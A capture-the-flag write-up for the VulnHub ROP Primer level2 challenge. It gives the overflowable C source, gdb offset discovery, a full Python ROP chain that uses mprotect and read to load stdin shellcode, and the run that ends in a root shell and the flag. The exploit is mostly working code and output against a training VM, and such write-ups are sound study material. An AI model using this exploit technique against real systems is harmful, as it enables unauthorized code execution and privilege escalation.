Last level in the series, and according to the developer this is the hardest one, since we cannot use nul bytes. Meh. Again we have the source code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv, char **argp)
{
  if (argc > 1)
  {
      char name[32];
      printf("[+] ROP tutorial level2\n");
      strcpy(name, argv[1]);
      printf("[+] Bet you can't ROP me this time around, %s!\n", name);
  }
  return 0;
}

So, our ROP chain needs to be in the first argument to the program. Another thing, this binary is statically linked and contains almost everything that the first binary did:

$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped
$ readelf -s level2 | wc -l
2059

So this should be pretty easy. Why?

Because we can probably more or less just copy the ROP chain we built for level0. The gadgets will be in new locations but most, if not all, should still be there. These are the gadgets we used in level0:

0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

I looked into level2 and this is what I found:

0x08049477 : jmp eax
0x0804f871 : dec ebx; ret
0x08052476 : pop edx; ret
0x0805249d : pop ecx; pop ebx; ret
0x08052ba0 : int 0x80; ret
0x08068973 : inc edx; or al, 0x5d; ret
0x0806a2ef : inc eax; ret
0x0806b21e : add eax, ecx; ret
0x080a81d6 : pop eax; ret
0x080a80c6 : dec eax; ret
0x08082cb0 : inc ebx; or al, 0xeb; ret
0x08097a7f : xor eax, eax; ret
0x08097d5a : add ecx, ecx; ret
0x080c86db : inc ecx; ret

Exactly the same!

So, what to do?

My plan will be to use the same ROP chain as in level0. When it has run it will read shellcode from standard in and hopefully spawn a shell. The ROP chain will be delivered through the first argument.

Lets build the exploit, and remember to turn on ASLR on the VM.

First, how many bytes should we write before controlling eip?

$ gdb -q ./level2
Reading symbols from ./level2...(no debugging symbols found)...done.
(gdb) r $(cyclic 100)
Starting program: /home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level2/level2 $(cyclic 100)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
(gdb) quit
A debugging session is active.

	Inferior 1 [process 5800] will be killed.

Quit anyway? (y or n) y
$ cyclic -l 0x6161616c
44
$

We need 44. How nice. Here is our exploit:

#!/usr/bin/env python2

import struct, sys, time

ret_offset = 44
writable = 0x08048000

def rop_chain():
    gadgets = [
        #mprotect(writable, 1024, PROT_READ|PROT_WRITE|PROT_EXEC)
        #Set edx = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
         0x08052476 # pop edx; ret               edx = -1
        ,0xffffffff  # -> edx
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 0
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 1
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 2
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 3
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 4
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 5
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 6
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 7

        #Set eax=125=SYS_mprotect
        #Set ecx=1024=size
        #Set ebx=writable
        ,0x0805249d # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
        ,0xffffffff  # -> ecx             ecx = -1
        ,writable + 1# -> ebx             ebx = writable + 1
        ,0x0804f871 # dec ebx; ret       ebx = writable

        ,0x080c86db # inc ecx; ret       ecx = 0
        ,0x080c86db # inc ecx; ret       ecx = 1
        ,0x080c86db # inc ecx; ret       ecx = 2
        ,0x08097d5a # add ecx, ecx; ret  ecx = 4
        ,0x08097d5a # add ecx, ecx; ret  ecx = 8
        ,0x08097d5a # add ecx, ecx; ret  ecx = 16
        ,0x08097d5a # add ecx, ecx; ret  ecx = 32
        ,0x08097d5a # add ecx, ecx; ret  ecx = 64
        ,0x08097d5a # add ecx, ecx; ret  ecx = 128

        ,0x08097a7f # xor eax, eax; ret  eax = 0
        ,0x0806b21e # add eax, ecx; ret  eax = 128
        ,0x080a80c6 # dec eax; ret       eax = 127
        ,0x080a80c6 # dec eax; ret       eax = 126
        ,0x080a80c6 # dec eax; ret       eax = 125 = SYS_mprotect

        ,0x08097d5a # add ecx, ecx; ret  ecx = 256
        ,0x08097d5a # add ecx, ecx; ret  ecx = 512
        ,0x08097d5a # add ecx, ecx; ret  ecx = 1024

        #Now we're ready for mprotect
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #read(0, writable, 0x01010101)
        #eax = 3 = SYS_read, ebx = 0, ecx = writable, edx = 0x01010101

        #Set ecx = writable
        ,0x0805249d # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
        ,writable + 1#-> ecx
        ,0xffffffff  #-> ebx

        #Set ebx = 0, now it is -1
        ,0x08082cb0 # inc ebx; or al, 0xeb; ret      ebx = 0

        #Set eax = 3
        ,0x08097a7f # xor eax, eax; ret
        ,0x0806a2ef # inc eax; ret  #eax = 1
        ,0x0806a2ef # inc eax; ret  #eax = 2
        ,0x0806a2ef # inc eax; ret  #eax = 3

        #Set edx = 0x01010101
        ,0x08052476 # pop edx; ret
        ,0x01010101  #-> edx

        #And we're ready for read
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #Now jump to writable
        ,0x080a81d6 # pop eax; ret
        ,writable + 1# -> eax
        ,0x08049477 # jmp eax  GOTO shellcode!
    ]
    return ''.join(struct.pack('<I', _) for _ in gadgets)

print 'A' * ret_offset + rop_chain()

It’s more or less exactly the same as in level1 except it does not contain a shellcode, that should be piped in through standard in. pwntools has a tool called shellcraft which can be used for generating shellcode. I’ll generate a shell spawning shellcode, write it to a file and upload it to the VM together with the exploit.

$ shellcraft -f r i386.linux.sh > shellcode
$ scp -P 2222 shellcode level2@localhost:
level2@localhost's password:
shellcode                    100%   22     0.0KB/s   00:00
$ scp -P 2222 exploit.py level2@localhost:
level2@localhost's password:
exploit.py                   100% 3082     3.0KB/s   00:00
$ ssh -p 2222 level2@localhost
level2@localhost's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/
Last login: Wed Jan 21 01:00:23 2015 from 192.168.56.1
level2@rop:~$ ( cat shellcode && cat ) | ./level2 "$(./exploit.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv����s�s�s�s�s�s�s�s�������q�ۆ
                                                                                                                     ۆ
                                                                                                                     ۆ
                                                                                                                     Z}Z}      Z}      Z}      Z}      Z}     z�ƀ
ƀ
ƀ
Z}     Z}      Z}      ������z������v�ց
�w�!
whoami
root
cat flag
flag{to_rop_or_not_to_rop}

Easy money.